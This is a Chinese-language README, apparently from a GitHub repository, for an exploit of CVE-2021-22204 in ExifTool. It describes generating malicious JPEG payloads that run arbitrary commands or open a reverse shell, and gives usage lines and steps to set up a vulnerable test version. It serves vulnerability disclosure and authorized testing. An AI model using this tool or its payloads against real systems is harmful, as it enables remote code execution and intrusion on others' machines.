CVE-2021-22204 (ExifTool) 漏洞利用 - 任意代码执行

GitHub CVE Cover

喜欢这个仓库？给我们点个 ⭐ 吧！

仅用于教育和授权安全研究目的。

漏洞利用作者

@UNICORDev 由 (@NicPWNs 和 @Dev-Yeoj) 创作

漏洞描述

ExifTool 7.44 及以上版本在解析恶意图像时，对 DjVu 文件格式中的用户数据中和不当，允许执行任意代码。

利用描述

使用此漏洞利用程序生成 JPEG 图像载荷，与存在漏洞的 ExifTool 版本配合即可执行代码。你可以提供自定义命令，也可以生成反向 Shell。工具会自动生成 JPEG 图像；也可选择提供自定义 JPEG 图像，以便将载荷插入其中。

用法

  python3 exploit-CVE-2021-22204.py -c <command>
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
  python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
  python3 exploit-CVE-2021-22204.py -h

选项

  -c    Custom command mode. Provide command to execute.
  -s    Reverse shell mode. Provide local IP and port.
  -i    Path to custom JPEG image. (Optional)
  -h    Show this help menu.

下载

从 GitHub 下载 exploit-CVE-2021-22204.py

从 ExploitDB 下载 exploit-CVE-2021-22204.py

Searchsploit (ExploitDB)

searchsploit -u
searchsploit -m 50911

利用要求

python3
djvulibre-bin
exiftool

演示

Demo Gif

测试版本

Exiftool 版本 12.23

适用版本

Exiftool 版本 7.44 - 12.23

漏洞环境

wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
unzip exiftool-12.23.zip
cd exiftool-12.23
perl Makefile.PL
make test
sudo make install
exiftool -ver

测试生成的载荷

exiftool image.jpg

exploit-CVE-2021-22204

最受欢迎